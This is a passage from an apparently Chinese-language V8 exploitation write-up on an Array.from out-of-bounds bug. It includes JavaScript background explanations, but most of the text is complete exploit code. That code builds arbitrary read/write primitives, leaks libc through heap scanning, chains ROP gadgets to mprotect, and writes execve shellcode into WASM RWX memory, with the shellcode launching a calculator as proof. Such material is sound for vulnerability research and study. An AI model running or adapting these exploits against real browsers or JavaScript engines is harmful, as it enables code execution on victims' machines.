let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
    wr.write(instanceAddr+i,sc[i]);
}
f();

JIT

在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。这里我们就实验如何找到JIT的这块内存为止。

与写入WASM一样要通过数据的结构来寻找JIT的内存,索引关系如下

JSFunction->kCodeEntry Offset

//让function变hot
function f()
{
    for(let i=0;i<0x1000000;i++)
    {
        let a='migraine';    
    }
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));

WLtsdH

eju1Un

小结

这个漏洞来自v8对JS函数array.from的实现,开发者没有考虑到在array.from中也可以输入数组,所以造成了一个数组越界漏洞。一般来说数组越界的漏洞都比较好利用,不过写利用的时候遇到不少坑(可能因为我太菜了。

单说利用,有这几点需要思考。

  • 1.需要考虑的是gc的回收的问题,何时回收,会对我们的内存结构有什么影响
  • 2.为什么大量进行读取之后,原本控制的ArrayBuffer位置跑飞了,如何避免
  • 3.除了对stack进行retn覆盖,有什么办法来触发ROP(思考一下stack povit可以吗)

欢迎讨论


JS基础

Symbol.iterator

ES6标准新增的迭代器,对象编写迭代器后可以使用for … of 这些语法来进行迭代。

Array数组中自带Symbol.iterator。

var a=[1,2,3,4,5]
console.log([...a]); //1,2,3,4,5

让我们编写一个迭代器

Demo

let obj={
    0:'a',
    1:'b',
    2:'c',
    length:3,
    [Symbol.iterator]:function(){            //迭代器实现

        let index=0;
        let next=()=>{                                    //迭代器必须包含一个next函数
            return{
                value:this[index],                    //输出
                done:this.length==++index        //判断退出条件
            }        
        }    
        return {next}
    }
};
console.log(obj.length);            // 3
console.log([...obj]);                // a,b
for(let p of obj)
{
    console.log(p);                            //a b
}

call()

call方法在js对象中可以用修改this对象,让我们写一个小实验。

Demo

var name='migraine1',age=18;
var obj={
    name:'migraine2',
    objAge:this.age,
    myFun:function(){
        console.log(this.name+" age "+this.age);    
    }
}
var db={
    name:'migraine3',
    age:81
}
obj.myFun();        //migraine2 age undefined
obj.myFun.call(db);    //migraine3 age 81

第一次调用obj.myFun(),this的两个值得注意。funciton内的this并不是全局this,无法调用obj外部的age,所以this.age变成了undefined。而在function外部的objAge:this.age中的this则是全局的this。

第二次调用obj.myFun().call(db),this对象被修改为了db,于是输出了db的name和age,这就是call函数的作用。能够将this对象指向obj外的其他对象。

call也支持带参数的function,Demo如下

var obj={
    name:'migraine2',
    myFun:function(age){                                    //带参的function
        console.log(this.name+" age "+age);    
    }
}
var db={
    name:'migraine3'
}
obj.myFun.call(db,'18');    //migraine3 age 18

Array.from

Array.from()方法就是将一个类数组对象或者可遍历对象转换成一个真正的数组。
类数组对象需要满足基本要求是具有length属性。

Array.from(arrayLike[, mapFn[, thisArg]])
arrayLike:被转换的的对象。
mapFn:map函数。
thisArg:map函数中this指向的对象。

Demo

let oobArray = [];
console.log(Array.from([1,2,3,4],(n)=>n+1));                                //2,3,4,5
console.log(Array.from.call(oobArray,[1,2,3,4],(n)=>n+1));    //2,3,4,5

从Demo可以看出,call并不影响Array.from函数的使用,修改this为oobArray对象。

在poc中,将this指向oobArray对象,然后将一个包含迭代器的类数组对象转化为数组。之后oobArray迭代输出来验证这个过程。(需要删除oobArray.length = 0;)

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ()...});
console.log(...oobArray);//0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16....

Array.from的Polyfill实现可以参考

Array.from:Polyfill

 

v8基础

关于V8对象的基础可以看我整理的V8基础,在这部分补充一些与题目相关的v8内容。

FixedArrayv8中定义一类固定长度的数组类(src/object/fixed-array.h)也是在Object中最常见的一类数组,包括Elements和Property的数据都是存放在FixedArray中。

类之间的父子关系如下,箭头指向继承的结构,可以结合源代码消化

//继承关系
HeapObject-->FixedArrayBase-->FixedArray
  |                                |
  v                                v
  map                        length

  //数据结构
  FixedArray 
  |__ map__|
  |_length_|
  | values |
  |        ...  |

 

扩展阅读

ES6-Symbol.iterator 迭代器
JavaScript 中 call()、apply()、bind() 的用法
从一道CTF题零基础学V8漏洞利用
821137-V8引擎数组越界漏洞分析及利用

 

附录

使用libc泄露的exploit

适用情况:只能在Ubuntu16.04(glibc2.23)下成功exploit,其他版本需要调整

class ChangeType{
    constructor(){
        this.buf=new ArrayBuffer(8);
        this.f64=new Float64Array(this.buf);
        this.u32=new Uint32Array(this.buf);
    }
    f2i(val){
        this.f64[0]=val;
        return this.u32[1]*0x100000000+this.u32[0];
    }
    i2f(val){
        this.u32[0]=parseInt(val%0x100000000);
        this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
        return this.f64[0];
    }

}
function hex(x)
{
   return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType(); 

let oobArray = [1.1];  //float
let arrays=[];    
let objs=[];        //for leak                            
let maxSize = 1028 * 8;            //8224    

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 
  {
    counter : 0,
    next() {
      let result = 1.1;
    this.counter++;
      if (this.counter > maxSize) {         
     oobArray.length=1;    // !=0 void from be huishou by GC,Elements will point to a null pointer
    for(let i=0;i<100;i++)
    {
        let array=new ArrayBuffer(0x512);
        let obj={'a':0x1234,'b':0x5678};
        arrays.push(array);
        objs.push(obj);
        //%DebugPrint(array);    
    }        
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });

let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC


//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
    let val=ct.f2i(oobArray[i]);
    if(val===0x51200000000)
    {
        backing_store=i+1;
        kbitfield=backing_store+1;
        console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
        oobArray[i]=ct.i2f(0xbeaf00000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    //console.log(arrays[i].bytelength);
    if(arrays[i].byteLength===0xbeaf){

           console.log("[*]find target ArrayBuffer number ["+i+"]");
        buf_index=i;    
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        tmp[0]=ct.i2f(0xdeadbeef);
        break;
    }    
}

let obj_index;
let obj_offset;
//find Objects

for(let i=0;i<maxSize;i++)
{
    let val=ct.f2i(oobArray[i]);
    if(val===0x123400000000)
    {
        obj_offset=i;
        console.log("[*]find target objecets in oobArray number ["+i+"]");
        oobArray[i]=ct.i2f(0x123500000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    if(objs[i].a===0x1235){
           console.log("[*]find target objs number ["+i+"]");
        obj_index=i;
        break;
    }    
}

class ArbitraryRW
{
    leak_obj(obj){
        objs[obj_index].a = obj;

        return ct.f2i(oobArray[obj_offset]) - 1;
    }
    read(addr){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        //console.log(hex(addr));
        //console.log(hex(ct.f2i(oobArray[backing_store])));
        //console.log(hex(ct.f2i(oobArray[kbitfield])));
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        return ct.f2i(tmp[0]);
    }
    write(addr,value){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        this.f64=new Float64Array(arrays[buf_index],0,0x10);
        this.f64[0]=ct.i2f(value);
    }
    leak(){
        return ct.f2i(oobArray[kbitfield]);
    }
}

let wr=new ArbitraryRW();

let heap=wr.leak()-0x10;
console.log("[*]leak backing store address="+hex(heap));

chunk=heap;
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;

for(let i=0;i<0x5000;i++)
{
    //let leak=wr.read(heap);
    prev_size=wr.read(chunk);
    size=wr.read(chunk+8);

    if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
    {
    let tmp_ptr=chunk-prev_size;
    fd=wr.read(tmp_ptr+0x10);
    bk=wr.read(tmp_ptr+0x18);
    console.log(hex(chunk)+"->"+hex(prev_size));
    if(parseInt(fd/0x10000000000)===0x7f)
    {
        console.log("[*]leak unsort bin(fd)");
        finded=fd;

        break;    
    }
    if(parseInt(bk/0x10000000000)===0x7f)
    {
        console.log("[*]leak unsort bin(bk)");
        console.log(hex(bk));
        break;    
    }
    }
    else if(size<0x20){break;}

    size=parseInt(size/8)*8;
    chunk+=size;
}
if(finded!==0)
{    
    libc_base=parseInt(finded/0x100)*0x100-0x3c3b00;
    console.log("libc_base="+hex(libc_base));
}
else{
    console.log("Error when leak libc base!Try Again.");
}

//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);

ptr=wr.read(shellcode_addr+0x18)-1;
shellcode_addr=wr.read(ptr+0x20);
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
    shellcode[i]=sc[i];
}

//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]

//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));

let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
    wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<10;i++)
{
    wr.write(rop_addr-i*8,retn);
}


//malloc hook
/*
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
*/


//oobArray[oobArray.length - 1] = 0x41414141;                //触发crash

通过Wasm写入shellcode

适用情况:任意版本的Linux

class ChangeType{
    constructor(){
        this.buf=new ArrayBuffer(8);
        this.f64=new Float64Array(this.buf);
        this.u32=new Uint32Array(this.buf);
    }
    f2i(val){
        this.f64[0]=val;
        return this.u32[1]*0x100000000+this.u32[0];
    }
    i2f(val){
        this.u32[0]=parseInt(val%0x100000000);
        this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
        return this.f64[0];
    }

}
function hex(x)
{
   return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType(); 

let oobArray = [1.1];  //float
let arrays=[];    
let objs=[];        //for leak                            
let maxSize = 1028 * 8;            //8224    

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 
  {
    counter : 0,
    next() {
      let result = 1.1;
    this.counter++;
      if (this.counter > maxSize) {         
     oobArray.length=1;    // !=0 void from be huishou by GC,Elements will point to a null pointer
    for(let i=0;i<100;i++)
    {
        let array=new ArrayBuffer(0x512);
        let obj={'a':0x1234,'b':0x5678};
        arrays.push(array);
        objs.push(obj);
        //%DebugPrint(array);    
    }        
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });

let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC


//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
    let val=ct.f2i(oobArray[i]);
    if(val===0x51200000000)
    {
        backing_store=i+1;
        kbitfield=backing_store+1;
        console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
        oobArray[i]=ct.i2f(0xbeaf00000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    //console.log(arrays[i].bytelength);
    if(arrays[i].byteLength===0xbeaf){

           console.log("[*]find target ArrayBuffer number ["+i+"]");
        buf_index=i;    
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        tmp[0]=ct.i2f(0xdeadbeef);
        break;
    }    
}

let obj_index;
let obj_offset;
//find Objects

for(let i=0;i<maxSize;i++)
{
    let val=ct.f2i(oobArray[i]);
    if(val===0x123400000000)
    {
        obj_offset=i;
        console.log("[*]find target objecets in oobArray number ["+i+"]");
        oobArray[i]=ct.i2f(0x123500000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    if(objs[i].a===0x1235){
           console.log("[*]find target objs number ["+i+"]");
        obj_index=i;
        break;
    }    
}

class ArbitraryRW
{
    leak_obj(obj){
        objs[obj_index].a = obj;
        return ct.f2i(oobArray[obj_offset]) - 1;
    }
    read(addr){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        //console.log(hex(addr));
        //console.log(hex(ct.f2i(oobArray[backing_store])));
        //console.log(hex(ct.f2i(oobArray[kbitfield])));
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        return ct.f2i(tmp[0]);
    }
    write(addr,value){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        this.f64=new Float64Array(arrays[buf_index],0,0x10);
        this.f64[0]=ct.i2f(value);
    }
    leak(){
        return ct.f2i(oobArray[kbitfield]);
    }
}

let wr=new ArbitraryRW();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;

%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));


let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
    wr.write(instanceAddr+i,sc[i]);
}
f();
(完)